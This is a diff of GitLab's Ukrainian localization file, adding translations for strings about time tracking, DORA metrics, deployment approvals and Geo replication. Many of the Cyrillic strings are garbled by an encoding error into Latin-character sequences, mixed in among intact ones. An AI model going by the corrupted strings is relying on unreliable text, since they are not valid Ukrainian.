msgstr "ÐÐ°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ñ–Ð½Ñ‚ÐµÐ³Ñ€Ð°Ñ†Ñ–Ñ— з %{link}."
msgid "Configure the default first day of the week, time tracking units, and default language."
-msgstr ""
+msgstr "Ðалаштуйте перший день Ñ‚Ð¸Ð¶Ð½Ñ Ð·Ð° замовчуваннÑм, одиниці Ð²Ð¸Ð¼Ñ–Ñ€ÑŽÐ²Ð°Ð½Ð½Ñ Ñ‡Ð°Ñу та мову за замовчуваннÑм."
msgid "Configure the way a user creates a new account."
msgstr "Ðалаштувати ÑпоÑіб ÑÑ‚Ð²Ð¾Ñ€ÐµÐ½Ð½Ñ ÐºÐ¾Ñ€Ð¸Ñтувачем нового облікового запиÑу."
@@ -10761,7 +10893,7 @@ msgid "Connecting to terminal sync service"
msgstr "Ð—â€™Ñ”Ð´Ð½Ð°Ð½Ð½Ñ Ñ–Ð· ÑервіÑом Ñинхронізації терміналу"
msgid "Connecting to the remote environment..."
-msgstr ""
+msgstr "ÐŸÑ–Ð´ÐºÐ»ÑŽÑ‡ÐµÐ½Ð½Ñ Ð´Ð¾ віддаленого Ñередовища..."
msgid "Connecting..."
msgstr "З'єднаннÑ..."
@@ -11180,6 +11312,9 @@ msgstr "Продовжити редагуваннÑ"
msgid "Continue to the next step"
msgstr "Перейти до наÑтупного кроку"
+msgid "Continue with overages"
+msgstr ""
+
msgid "Continuous Integration and Deployment"
msgstr "Безперервна Ñ–Ð½Ñ‚ÐµÐ³Ñ€Ð°Ñ†Ñ–Ñ Ñ‚Ð° розгортаннÑ"
@@ -11573,6 +11708,9 @@ msgstr ""
msgid "Country"
msgstr "Країна"
+msgid "Counts"
+msgstr ""
+
msgid "Counts reflect children you may not have access to."
msgstr "Підрахунок показує дочірні елементи, до Ñких ви можете не мати доÑтупу."
@@ -11820,40 +11958,40 @@ msgid "CreateTag|Tag"
msgstr "Тег"
msgid "CreateTimelogForm|Add time entry"
-msgstr ""
+msgstr "Додати Ð·Ð°Ð¿Ð¸Ñ Ñ‡Ð°Ñу"
msgid "CreateTimelogForm|An error occurred while saving the time entry."
-msgstr ""
+msgstr "Помилка при збереженні запиÑу чаÑу."
msgid "CreateTimelogForm|Cancel"
-msgstr ""
+msgstr "СкаÑувати"
msgid "CreateTimelogForm|Example: 1h 30m"
-msgstr ""
+msgstr "Приклад: 1h 30m"
msgid "CreateTimelogForm|How do I track and estimate time?"
-msgstr ""
+msgstr "Як відÑтежувати та оцінювати чаÑ?"
msgid "CreateTimelogForm|Save"
-msgstr ""
+msgstr "Зберегти"
msgid "CreateTimelogForm|Spent at"
-msgstr ""
+msgstr "Витрачено на"
msgid "CreateTimelogForm|Summary"
-msgstr ""
+msgstr "ПідÑумок"
msgid "CreateTimelogForm|Time spent"
-msgstr ""
+msgstr "Витрачено чаÑу"
msgid "CreateTimelogForm|Track time spent on this %{issuableTypeNameStart}%{issuableTypeNameEnd}. %{timeTrackingDocsLinkStart}%{timeTrackingDocsLinkEnd}"
-msgstr ""
+msgstr "Ð§Ð°Ñ Ð²Ñ–Ð´ÑÑ‚ÐµÐ¶ÐµÐ½Ð½Ñ Ð²Ð¸Ñ‚Ñ€Ð°Ñ‡ÐµÐ½Ð¾ на %{issuableTypeNameStart}%{issuableTypeNameEnd}. %{timeTrackingDocsLinkStart}%{timeTrackingDocsLinkEnd}"
msgid "CreateTimelogForm|issue"
msgstr "задача"
msgid "CreateTimelogForm|merge request"
-msgstr ""
+msgstr "запит на злиттÑ"
msgid "CreateValueStreamForm|%{name} (default)"
msgstr "%{name} (за замовчуваннÑм)"
@@ -12099,7 +12237,7 @@ msgid "Crm|Contact has been updated."
msgstr "Контакт оновлено."
msgid "Crm|Customer relations contacts"
-msgstr ""
+msgstr "Додати контакти по роботі з клієнтами."
msgid "Crm|Customer relations organizations"
msgstr ""
@@ -12471,6 +12609,9 @@ msgstr "не дозволена Ð´Ð»Ñ Ð´Ð°Ð½Ð¾Ñ— початкової подіÑ
msgid "CycleAnalytics|project dropdown filter"
msgstr "випадаючий ÑпиÑок проєктів"
+msgid "CycleAnalytics|the assigned object is not supported"
+msgstr "Призначений об'єкт не підтримуєтьÑÑ"
+
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr "Ð”Ð»Ñ Ð²Ñ–Ð·ÑƒÐ°Ð»Ñ–Ð·Ð°Ñ†Ñ–Ñ— DAG потрібно щонайменше 3 залежних завданнÑ."
@@ -12495,6 +12636,9 @@ msgstr "%{startDate} - %{endDate}"
msgid "DORA4Metrics|Average (last %{days}d)"
msgstr "Ð’ Ñередньому (оÑтанні %{days}d)"
+msgid "DORA4Metrics|Average number of deployments to production per day. This metric measures how often value is delivered to end users."
+msgstr ""
+
msgid "DORA4Metrics|Change Failure Rate"
msgstr ""
@@ -12507,7 +12651,10 @@ msgstr "Змінити відÑоток невдач (відÑотків)"
msgid "DORA4Metrics|Cycle time"
msgstr ""
-msgid "DORA4Metrics|DORA metrics for %{groupName} group"
+msgid "DORA4Metrics|DORA metrics for %{name} group"
+msgstr ""
+
+msgid "DORA4Metrics|DORA metrics for %{name} project"
msgstr ""
msgid "DORA4Metrics|Date"
@@ -12528,6 +12675,12 @@ msgstr "ЧаÑтота розгортаннÑ"
msgid "DORA4Metrics|Deploys"
msgstr ""
+msgid "DORA4Metrics|Failed to load charts"
+msgstr ""
+
+msgid "DORA4Metrics|Go to docs"
+msgstr "Перейти до документації"
+
msgid "DORA4Metrics|Lead Time for Changes"
msgstr ""
@@ -12549,6 +12702,12 @@ msgstr "Середній Ñ‡Ð°Ñ (за оÑтанні %{days}ів)"
msgid "DORA4Metrics|Median time an incident was open in a production environment over the given time period."
msgstr ""
+msgid "DORA4Metrics|Median time from issue created to issue closed."
+msgstr "Середній Ñ‡Ð°Ñ Ð²Ñ–Ð´ ÑÑ‚Ð²Ð¾Ñ€ÐµÐ½Ð½Ñ Ð·Ð°Ð´Ð°Ñ‡Ñ– та до Ñ—Ñ— закриттÑ."
+
+msgid "DORA4Metrics|Median time from the earliest commit of a linked issue's merge request to when that issue is closed."
+msgstr ""
+
msgid "DORA4Metrics|Month to date"
msgstr ""
@@ -12567,6 +12726,15 @@ msgstr "КількіÑÑ‚ÑŒ розгортань"
msgid "DORA4Metrics|Number of incidents divided by the number of deployments to a production environment in the given time period."
msgstr ""
+msgid "DORA4Metrics|Number of new issues created."
+msgstr ""
+
+msgid "DORA4Metrics|Past 6 Months"
+msgstr "Минулі 6 міÑÑців"
+
+msgid "DORA4Metrics|Percentage of deployments that cause an incident in production."
+msgstr ""
+
msgid "DORA4Metrics|Percentage of failed deployments"
msgstr ""
@@ -12588,6 +12756,12 @@ msgstr "Графік відображає чаÑтоту розгортань у
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr "Графік відображає Ñередній Ñ‡Ð°Ñ Ð¼Ñ–Ð¶ об’єднаннÑм запиту на Ð·Ð»Ð¸Ñ‚Ñ‚Ñ Ñ‚Ð° його розгортаннÑм у production Ñередовищі, що базуютьÑÑ Ð½Ð° значенні %{linkStart}deployment_tier%{linkEnd}."
+msgid "DORA4Metrics|The time it takes an organization to recover from a failure in production."
+msgstr ""
+
+msgid "DORA4Metrics|The time to successfully deliver a commit into production. This metric reflects the efficiency of CI/CD pipelines."
+msgstr ""
+
msgid "DORA4Metrics|Time to Restore Service"
msgstr ""
@@ -12597,6 +12771,9 @@ msgstr "Ð§Ð°Ñ Ð²Ñ–Ð´Ð½Ð¾Ð²Ð»ÐµÐ½Ð½Ñ ÑервіÑу"
msgid "DORA4Metrics|Time to restore service (median days)"
msgstr "Ð§Ð°Ñ Ð²Ñ–Ð´Ð½Ð¾Ð²Ð»ÐµÐ½Ð½Ñ ÑервіÑу (Ñереднє чиÑло днів)"
+msgid "DORA4Metrics|Total number of deploys to production."
+msgstr ""
+
msgid "DSN"
msgstr "DSN"
@@ -12612,9 +12789,6 @@ msgstr "Ð’ÑÑ–"
msgid "DashboardProjects|Personal"
msgstr "ОÑобиÑÑ‚Ñ–"
-msgid "DashboardProjects|Trending"
-msgstr "ПопулÑрні"
-
msgid "Dashboards"
msgstr "Панелі керуваннÑ"
@@ -12889,7 +13063,7 @@ msgid "DastProfiles|Select scanner profile"
msgstr ""
msgid "DastProfiles|Select site profile"
-msgstr ""
+msgstr "Вибрати профіль Ñайту"
msgid "DastProfiles|Show debug messages"
msgstr ""
@@ -13076,7 +13250,7 @@ msgid "Data is still calculating..."
msgstr "Дані вÑе ще обчиÑлюютьÑÑ..."
msgid "Data refresh"
-msgstr ""
+msgstr "ÐžÐ½Ð¾Ð²Ð»ÐµÐ½Ð½Ñ Ð´Ð°Ð½Ð¸Ñ…"
msgid "Data type"
msgstr "Тип даних"
@@ -13238,10 +13412,10 @@ msgid "Default first day of the week in calendars and date pickers."
msgstr "Перший день Ñ‚Ð¸Ð¶Ð½Ñ Ð·Ð° замовчуваннÑм в календарÑÑ… та при виборі дати."
msgid "Default language"
-msgstr ""
+msgstr "Мова за замовчуваннÑм"
msgid "Default language for users who are not logged in."
-msgstr ""
+msgstr "Мова за умовчаннÑм Ð´Ð»Ñ ÐºÐ¾Ñ€Ð¸Ñтувачів, Ñкі не ввійшли в ÑиÑтему."
msgid "Default projects limit"
msgstr "Ліміт проєктів за замовчуваннÑм"
@@ -13433,7 +13607,7 @@ msgid "Delete source branch"
msgstr "Видалити гілку-джерело"
msgid "Delete source branch when merge request is accepted."
-msgstr ""
+msgstr "Видалити гілку-джерело при прийнÑÑ‚Ñ‚Ñ– запиту на злиттÑ."
msgid "Delete subscription"
msgstr "Видалити підпиÑку"
@@ -13534,11 +13708,12 @@ msgstr ""
msgid "DeletionSettings|Keep deleted"
msgstr ""
-msgid "DeletionSettings|Keep deleted projects for %{number} days"
-msgstr ""
-
-msgid "DeletionSettings|Keep deleted projects for 1 day"
-msgstr ""
+msgid "DeletionSettings|Keep deleted projects for %{number} day"
+msgid_plural "DeletionSettings|Keep deleted projects for %{number} days"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
msgid "DeletionSettings|None, delete immediately"
msgstr ""
@@ -13609,6 +13784,9 @@ msgstr "Ім'Ñ ÐºÐ¾Ð¼Ð¿Ð¾Ð½ÐµÐ½Ñ‚Ð°"
msgid "Dependencies|Dependency path"
msgstr "ШлÑÑ… залежноÑÑ‚Ñ–"
+msgid "Dependencies|Error exporting the dependency list. Please reload the page."
+msgstr "Помилка під Ñ‡Ð°Ñ ÐµÐºÑпорту ÑпиÑку залежноÑтей. Будь лаÑка, перезавантажте Ñторінку."
+
msgid "Dependencies|Export as JSON"
msgstr "ЕкÑпортувати Ñк JSON"
@@ -13739,7 +13917,7 @@ msgid "Deploy Keys"
msgstr "Ключі Ð´Ð»Ñ Ñ€Ð¾Ð·Ð³Ð¾Ñ€Ñ‚ÑƒÐ²Ð°Ð½Ð½Ñ"
msgid "Deploy Token"
-msgstr ""
+msgstr "Токен розгортаннÑ"
msgid "Deploy container based web apps on Google managed clusters"
msgstr "Розгорніть веб заÑтоÑунки на оÑнові контейнерів у керованих клаÑтерах Google"
@@ -13996,9 +14174,15 @@ msgstr ""
msgid "Deployment Target|Select the deployment target"
msgstr ""
+msgid "Deployment approvals is not configured for this environment."
+msgstr ""
+
msgid "Deployment frequency"
msgstr "ЧаÑтота розгортаннÑ"
+msgid "DeploymentApprovals|Allow pipeline triggerer to approve deployment."
+msgstr ""
+
msgid "DeploymentApprovals|Approvals"
msgstr ""
@@ -14014,6 +14198,12 @@ msgstr "Розробники + Керівники"
msgid "DeploymentApprovals|Maintainers"
msgstr "Керівники"
+msgid "DeploymentApprovals|Set how approval rules are applied to deployments in protected environments."
+msgstr ""
+
+msgid "DeploymentApprovals|When a pipeline runs, deployment jobs will automatically be approved in the pipeline if the triggerer is allowed to approve."
+msgstr ""
+
msgid "DeploymentApproval| Current approvals: %{current}"
msgstr ""
@@ -14099,6 +14289,12 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "Deployments|Define environments in the deploy stage(s) in %{code_open}.gitlab-ci.yml%{code_close} to track deployments here."
+msgstr ""
+
+msgid "Deployments|You don't have any deployments right now."
+msgstr ""
+
msgid "Deployment|API"
msgstr "API"
@@ -14196,13 +14392,13 @@ msgid "Description:"
msgstr "ОпиÑ:"
msgid "Descriptions"
-msgstr ""
+msgstr "ОпиÑи"
msgid "Descriptive label"
msgstr "Мітка Ð´Ð»Ñ Ð¾Ð¿Ð¸Ñу"
msgid "Design"
-msgstr ""
+msgstr "Дизайн"
msgid "Design Management files and data"
msgstr "Файли та дані ÑƒÐ¿Ñ€Ð°Ð²Ð»Ñ–Ð½Ð½Ñ Ð´Ð¸Ð·Ð°Ð¹Ð½Ð¾Ð¼"
@@ -14370,7 +14566,7 @@ msgstr "Звіти DevOps"
msgid "DevOps adoption"
msgstr "ÐŸÑ€Ð¸Ð·Ð½Ð°Ñ‡ÐµÐ½Ð½Ñ DevOps"
-msgid "DevOps metrics comparison (Alpha)"
+msgid "DevOps metrics comparison (Beta)"
msgstr ""
msgid "Developer"
@@ -14563,7 +14759,7 @@ msgid "DevopsReport|Score"
msgstr "Оцінка"
msgid "DevopsReport|Your score"
-msgstr ""
+msgstr "Ваша оцінка"
msgid "DevopsReport|Your usage"
msgstr "Ваше викориÑтаннÑ"
@@ -14595,6 +14791,9 @@ msgstr ""
msgid "Difference between start date and now"
msgstr "Ð Ñ–Ð·Ð½Ð¸Ñ†Ñ Ð¼Ñ–Ð¶ датою початку та теперішньою"
+msgid "Different user's signature"
+msgstr "ÐŸÑ–Ð´Ð¿Ð¸Ñ Ñ–Ð½ÑˆÐ¾Ð³Ð¾ кориÑтувача"
+
msgid "DiffsCompareBaseBranch|(HEAD)"
msgstr "(HEAD)"
@@ -14619,10 +14818,10 @@ msgid "Diffs|Expand all lines"
msgstr ""
msgid "Diffs|Hide whitespace changes"
-msgstr ""
+msgstr "Приховати зміни пробілів"
msgid "Diffs|Inline"
-msgstr ""
+msgstr "Вбудований"
msgid "Diffs|Next 20 lines"
msgstr ""
@@ -14640,7 +14839,7 @@ msgid "Diffs|Show all unchanged lines"
msgstr ""
msgid "Diffs|Show whitespace changes"
-msgstr ""
+msgstr "Показувати зміни пробілів"
msgid "Diffs|Showing %{dropdownStart}%{count} changed file%{dropdownEnd}"
msgid_plural "Diffs|Showing %{dropdownStart}%{count} changed files%{dropdownEnd}"
@@ -14650,7 +14849,7 @@ msgstr[2] "Показано %{dropdownStart}%{count} змінених файлі
msgstr[3] "Показано %{dropdownStart}%{count} змінених файлів%{dropdownEnd}"
msgid "Diffs|Side-by-side"
-msgstr ""
+msgstr "Пліч-о-пліч"
msgid "Diffs|Something went wrong while fetching diff lines."
msgstr "Проблема при отриманні Ñ€Ñдків відмінноÑтей."
@@ -15094,6 +15293,9 @@ msgstr ""
msgid "E-mail:"
msgstr "Електронна пошта:"
+msgid "ESM module"
+msgstr ""
+
msgid "Each project can also have an issue tracker and a wiki."
msgstr "Кожен проєкт може також мати трекер задач та вікі."
@@ -15626,7 +15828,7 @@ msgid "EnableReviewApp|Uses a predefined CI/CD variable like %{codeStart}$(CI_CO
msgstr ""
msgid "EnableReviewApp|Using a static site?"
-msgstr ""
+msgstr "ВикориÑтовуєте Ñтатичний Ñайт?"
msgid "EnableReviewApp|View more example projects"
msgstr ""
@@ -15995,7 +16197,7 @@ msgid "Environment|Auto stop %{time}"
msgstr "Ðвтозупинка %{time}"
msgid "Environment|Deployment tier"
-msgstr ""
+msgstr "Рівень розгортаннÑ"
msgid "Epic"
msgstr "Епік"
@@ -16082,7 +16284,7 @@ msgid "Epics|Something went wrong while updating epics."
msgstr "ЩоÑÑŒ пішло не так під Ñ‡Ð°Ñ Ð¾Ð½Ð¾Ð²Ð»ÐµÐ½Ð½Ñ ÐµÐ¿Ñ–ÐºÑ–Ð²."
msgid "Epics|The color for the epic when it's visualized, such as on roadmap timeline bars."
-msgstr ""
+msgstr "Колір Ð´Ð»Ñ ÐµÐ¿Ñ–ÐºÐ°, коли він візуалізуєтьÑÑ, наприклад, на Ñмугах чаÑової шкали дорожньої карти."
msgid "Epics|This epic and any containing child epics are confidential and should only be visible to team members with at least Reporter access."
msgstr ""
@@ -16154,7 +16356,7 @@ msgid "Error fetching refs"
msgstr "Помилка Ð·Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶ÐµÐ½Ð½Ñ refs"
msgid "Error fetching target projects. Please try again."
-msgstr ""
+msgstr "Помилка при виборі цільових проєктів. Будь лаÑка, Ñпробуйте ще раз."
msgid "Error fetching the dependency list. Please check your network connection and try again."
msgstr "Помилка при отриманні ÑпиÑку залежноÑтей. Будь лаÑка, перевірте ваше Ð·â€™Ñ”Ð´Ð½Ð°Ð½Ð½Ñ Ð· мережею."
@@ -16291,10 +16493,7 @@ msgstr "Помилка: %{error}"
msgid "Error: Couldn't load some or all of the changes."
msgstr ""
-msgid "Error: No AWS credentials were supplied"
-msgstr ""
-
-msgid "Error: No AWS provision role found for user"
+msgid "Error: Gitaly is unavailable. Contact your administrator."
msgstr ""
msgid "Error: Unable to create deploy freeze"
@@ -16303,9 +16502,6 @@ msgstr ""
msgid "Error: Unable to delete deploy freeze"
msgstr ""
-msgid "Error: Unable to find AWS role for current user"
-msgstr ""
-
msgid "ErrorTracking|Access token is %{token_in_code_tag}"
msgstr "Токен доÑтупу %{token_in_code_tag}"
@@ -16559,19 +16755,19 @@ msgid "Event|opened"
msgstr "відкрито"
msgid "Event|pushed new"
-msgstr ""
+msgstr "відправлено нове"
msgid "Event|pushed to"
-msgstr ""
+msgstr "відправлено до"
msgid "Event|removed"
-msgstr ""
+msgstr "видалено"
msgid "Event|removed due to membership expiration from"
msgstr ""
msgid "Event|updated"
-msgstr ""
+msgstr "оновлено"
msgid "Every %{action} attempt has failed: %{job_error_message}. Please try again."
msgstr "УÑÑ– Ñпроби %{action} закінчилиÑÑ Ð½ÐµÐ²Ð´Ð°Ñ‡ÐµÑŽ: %{job_error_message}. Будь лаÑка, Ñпробуйте знову."
@@ -16686,7 +16882,7 @@ msgid "Example: @sub\\.company\\.com$"
msgstr "Приклад: @sub\\.company\\.com$"
msgid "Example: Fixes \\d+\\..*"
-msgstr ""
+msgstr "Приклад: Fixes \\d+\\..*"
msgid "Example: ssh\\:\\/\\/"
msgstr "Приклад: ssh\\:\\/\\/"
@@ -16764,7 +16960,7 @@ msgid "Expand sidebar"
msgstr "Розгорніть бічну панель"
msgid "Expand variable reference"
-msgstr ""
+msgstr "Розгорнути поÑÐ¸Ð»Ð°Ð½Ð½Ñ Ð½Ð° змінну"
msgid "Expected documents: %{expected_documents}"
msgstr ""
@@ -16805,9 +17001,6 @@ msgstr "ЗакінчуєтьÑÑ"
msgid "Expires %{preposition} %{expires_at}"
msgstr ""
-msgid "Expires on"
-msgstr "Діє до"
-
msgid "Expires:"
msgstr "ЗакінчуєтьÑÑ:"
@@ -16841,9 +17034,6 @@ msgstr "ПереглÑнути публічні проєкти"
msgid "Explore snippets"
msgstr "ОглÑд Ñніпетів"
-msgid "Explore topics"
-msgstr "ОглÑд тем"
-
msgid "Export"
msgstr "ЕкÑпорт"
@@ -16993,10 +17183,10 @@ msgstr "Провалені завданнÑ"
msgid "Failed job"
msgid_plural "Failed jobs"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "Ðевдале завданнÑ"
+msgstr[1] "Ðевдалі завданнÑ"
+msgstr[2] "Ðевдалих завдань"
+msgstr[3] "Ðевдалих завдань"
msgid "Failed on"
msgstr "Помилка на"
@@ -17167,9 +17357,6 @@ msgstr "Ðе вдалоÑÑ Ð¿ÐµÑ€ÐµÐ¼Ñ–Ñтити цю задачу, тому Ñ
msgid "Failed to move this issue because target project doesn't exist."
msgstr "Ðе вдалоÑÑ Ð¿ÐµÑ€ÐµÐ¼Ñ–Ñтити цю задачу, тому що цільовий проєкт не Ñ–Ñнує."
-msgid "Failed to promote issue to incident"
-msgstr "Ðе вдалоÑÑ Ð¿ÐµÑ€ÐµÐ½ÐµÑти задачу до інциденту"
-
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr "Ðе вдалоÑÑ Ð¿ÐµÑ€ÐµÐ½ÐµÑти мітку через внутрішню проблему. Будь лаÑка, звернітьÑÑ Ð´Ð¾ адмініÑтраторів."
@@ -17505,13 +17692,13 @@ msgid "February"
msgstr "лютий"
msgid "Feedback"
-msgstr ""
+msgstr "Зворотний зв'Ñзок"
msgid "Feedback and Updates"
msgstr "Зворотний зв'Ñзок та оновленнÑ"
msgid "Fetch and check out this merge request's feature branch:"
-msgstr ""
+msgstr "Отримайте та перевірте гілку функцій цього запиту на злиттÑ:"
msgid "Fetching incoming email"
msgstr "ÐžÑ‚Ñ€Ð¸Ð¼Ð°Ð½Ð½Ñ Ð²Ñ…Ñ–Ð´Ð½Ð¸Ñ… повідомлень електронної пошти"
@@ -17597,9 +17784,6 @@ msgstr "Фільтрувати за"
msgid "Filter by %{page_context_word} that are currently open."
msgstr "Відфільтрувати за %{page_context_word}, Ñкі зараз відкриті."
-msgid "Filter by Git revision"
-msgstr "Фільтр за верÑією Git"
-
msgid "Filter by issues that are currently closed."
msgstr "Фільтр за закритими задачами."
@@ -17796,13 +17980,13 @@ msgid "For files larger than this limit, only index the file name. The file cont
msgstr ""
msgid "For general work"
-msgstr ""
+msgstr "Ð”Ð»Ñ Ð·Ð°Ð³Ð°Ð»ÑŒÐ½Ð¾Ñ— роботи"
msgid "For individual use, create a separate account under your personal email address, not tied to the Enterprise email domain or group."
msgstr ""
msgid "For investigating IT service disruptions or outages"
-msgstr ""
+msgstr "Ð”Ð»Ñ Ñ€Ð¾Ð·ÑÐ»Ñ–Ð´ÑƒÐ²Ð°Ð½Ð½Ñ Ð·Ð±Ð¾Ñ—Ð² або перебоїв в роботі ІТ-ÑервіÑів"
msgid "For more info, read the documentation."
msgstr "Ð”Ð»Ñ Ð¾Ñ‚Ñ€Ð¸Ð¼Ð°Ð½Ð½Ñ Ð´Ð¾Ð´Ð°Ñ‚ÐºÐ¾Ð²Ð¾Ñ— інформації читайте документацію."
@@ -17918,18 +18102,15 @@ msgstr ""
msgid "ForksDivergence|%{messages} upstream repository"
msgstr ""
+msgid "ForksDivergence|Fork has diverged from upstream repository"
+msgstr ""
+
msgid "ForksDivergence|Up to date with upstream repository"
msgstr ""
msgid "Format: %{dateFormat}"
msgstr "Формат: %{dateFormat}"
-msgid "Found errors in your %{gitlab_ci_yml}:"
-msgstr "Знайдено помилки у вашому %{gitlab_ci_yml}:"
-
-msgid "Found errors in your .gitlab-ci.yml:"
-msgstr "Знайдено помилки у вашому .gitlab-ci.yml:"
-
msgid "Framework successfully deleted"
msgstr "Фреймворк уÑпішно видалено"
@@ -18027,6 +18208,9 @@ msgstr "Ідентифікатор ключа GPG:"
msgid "GPG Keys"
msgstr "GPG ключі"
+msgid "GPG key mismatch"
+msgstr "ÐевідповідніÑÑ‚ÑŒ GPG ключа"
+
msgid "GPG keys allow you to verify signed commits."
msgstr "GPG ключі дозволÑÑŽÑ‚ÑŒ вам перевірÑти підпиÑані коміти."
@@ -18098,17 +18282,17 @@ msgstr ""
msgid "Geo|%d group selected"
msgid_plural "%d groups selected"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "%d група обрана"
+msgstr[1] "%d групи обрано"
+msgstr[2] "%d груп обрано"
+msgstr[3] "%d груп обрано"
msgid "Geo|%d shard selected"
msgid_plural "%d shards selected"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "Виділено %d Ñегмент"
+msgstr[1] "Виділено %d Ñегменти"
+msgstr[2] "Виділено %d Ñегментів"
+msgstr[3] "Виділено %d Ñегментів"
msgid "Geo|%{boldStart}Not applicable%{boldEnd}: Geo does not verify this component yet. See the %{linkStart}data types we plan to support%{linkEnd}."
msgstr ""
@@ -18234,7 +18418,7 @@ msgid "Geo|Edit Geo Site"
msgstr ""
msgid "Geo|Edit your search and try again."
-msgstr ""
+msgstr "Відредагуйте пошуковий фільтр Ñ– повторіть Ñпробу."
msgid "Geo|Errors:"
msgstr ""
@@ -18372,7 +18556,7 @@ msgid "Geo|Nothing to verify"
msgstr ""
msgid "Geo|Object Storage replication"
-msgstr ""
+msgstr "Ð ÐµÐ¿Ð»Ñ–ÐºÐ°Ñ†Ñ–Ñ Ð¾Ð±'єктного Ñховища"
msgid "Geo|Offline"
msgstr "Офлайн"
@@ -18689,9 +18873,6 @@ msgstr "Розпочати роботу з релізами"
msgid "Git"
msgstr "Git"
-msgid "Git GC period"
-msgstr "Період Ð·Ð±Ð¸Ñ€Ð°Ð½Ð½Ñ ÑÐ¼Ñ–Ñ‚Ñ‚Ñ Git"
-
msgid "Git LFS Rate Limits"
msgstr ""
@@ -18744,7 +18925,7 @@ msgid "GitAbuse|Number of repositories should be between %{minNumRepos}-%{maxNum
msgstr "КількіÑÑ‚ÑŒ репозитаріїв має бути між %{minNumRepos}-%{maxNumRepos}."
msgid "GitAbuse|Reporting time period (seconds)"
-msgstr ""
+msgstr "Ð—Ð²Ñ–Ñ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ð¿Ñ€Ð¾Ð¼Ñ–Ð¶Ð¾Ðº чаÑу (Ñекунди)"
msgid "GitAbuse|Reporting time period can't be blank. Set to 0 for no limit."
msgstr "КількіÑÑ‚ÑŒ репозиторіїв не може бути пуÑтою. Ð’Ñтановіть 0 Ð´Ð»Ñ Ð±ÐµÐ·Ð»Ñ–Ð¼Ñ–Ñ‚Ñƒ."
@@ -18753,13 +18934,13 @@ msgid "GitAbuse|Reporting time period must be a number."
msgstr "Проміжок чаÑу Ð·Ð²Ñ–Ñ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ð¼Ð°Ñ” бути чиÑлом."
msgid "GitAbuse|Reporting time period should be between %{minTimePeriod}-%{maxTimePeriod} seconds."
-msgstr ""
+msgstr "Ð§Ð°Ñ Ð·Ð²Ñ–Ñ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ð¼Ð°Ñ” Ñтановити від %{minTimePeriod}до%{maxTimePeriod} Ñекунд."
msgid "GitAbuse|The maximum number of unique repositories a user can download in the specified time period before they're banned."
-msgstr ""
+msgstr "МакÑимальна кількіÑÑ‚ÑŒ унікальних репозитаріїв, Ñкі кориÑтувач може завантажити за вказаний проміжок чаÑу, перш ніж він буде заблокований."
msgid "GitAbuse|Users who are excluded from the Git abuse rate limit."
-msgstr ""
+msgstr "КориÑтувачі, на Ñких не поширюєтьÑÑ Ð»Ñ–Ð¼Ñ–Ñ‚ на Ð·Ð»Ð¾Ð²Ð¶Ð¸Ð²Ð°Ð½Ð½Ñ Git."
msgid "GitAbuse|You cannot specify more than %{maxExcludedUsers} excluded users."
msgstr ""
@@ -18777,7 +18958,7 @@ msgid "GitLab"
msgstr "GitLab"
msgid "GitLab (self-managed)"
-msgstr ""
+msgstr "GitLab (Ñамокерований)"
msgid "GitLab / Unsubscribe"
msgstr "GitLab / СкаÑувати підпиÑку"
@@ -18843,7 +19024,7 @@ msgid "GitLab export"
msgstr "ЕкÑпорт GitLab"
msgid "GitLab for Jira Cloud"
-msgstr ""
+msgstr "GitLab Ð´Ð»Ñ Jira Cloud"
msgid "GitLab group: %{source_link}"
msgstr "GitLab група : %{source_link}"
@@ -18864,7 +19045,7 @@ msgid "GitLab is a single application for the entire software development lifecy
msgstr "GitLab Ñ” окремою програмою Ð´Ð»Ñ Ð²Ñього життєвого циклу розробки програмного забезпеченнÑ. Від Ð¿Ð»Ð°Ð½ÑƒÐ²Ð°Ð½Ð½Ñ Ñ‚Ð° ÑƒÐ¿Ñ€Ð°Ð²Ð»Ñ–Ð½Ð½Ñ Ð²Ð¸Ñ…Ñ–Ð´Ð½Ð¸Ð¼Ð¸ кодами до CI/CD, моніторингу та безпеки."
msgid "GitLab is free to use. Many features for larger teams are part of our %{link_start}paid products%{link_end}. You can try Ultimate for free without any obligation or payment details."
-msgstr ""
+msgstr "GitLab Ñ” безкоштовним Ð´Ð»Ñ Ð²Ð¸ÐºÐ¾Ñ€Ð¸ÑтаннÑ. Багато функцій Ð´Ð»Ñ Ð±Ñ–Ð»ÑŒÑˆÐ¸Ñ… команд Ñ” чаÑтиною наших %{link_start}платних продуктів%{link_end}. Ви можете Ñпробувати Ultimate безкоштовно без жодних платіжних реквізитів."
msgid "GitLab is obtaining a Let's Encrypt SSL certificate for this domain. This process can take some time. Please try again later."
msgstr "GitLab отримує SSL-Ñертифікат Ð´Ð»Ñ Ñ†ÑŒÐ¾Ð³Ð¾ домену від Let's Encrypt. Це може зайнÑти деÑкий чаÑ. Будь лаÑка, Ñпробуйте знову пізніше."
@@ -18907,7 +19088,7 @@ msgstr[2] ""
msgstr[3] ""
msgid "GitLab.com (SaaS)"
-msgstr ""
+msgstr "GitLab.com (SaaS)"
msgid "GitLab.com import"
msgstr "Імпорт з GitLab.com"
@@ -19107,6 +19288,9 @@ msgstr "Глобальний пошук Ð´Ð»Ñ Ñ†Ñ–Ñ”Ñ— облаÑÑ‚Ñ– вимкÐ
msgid "Global Shortcuts"
msgstr "Глобальні комбінації клавіш"
+msgid "Global notification email"
+msgstr "Глобальна електронна пошта Ð´Ð»Ñ Ñповіщень"
+
msgid "Global notification level"
msgstr "Глобальний рівень ÑповіщеннÑ"
@@ -19119,6 +19303,12 @@ msgstr "%{search} %{description} %{scope}"
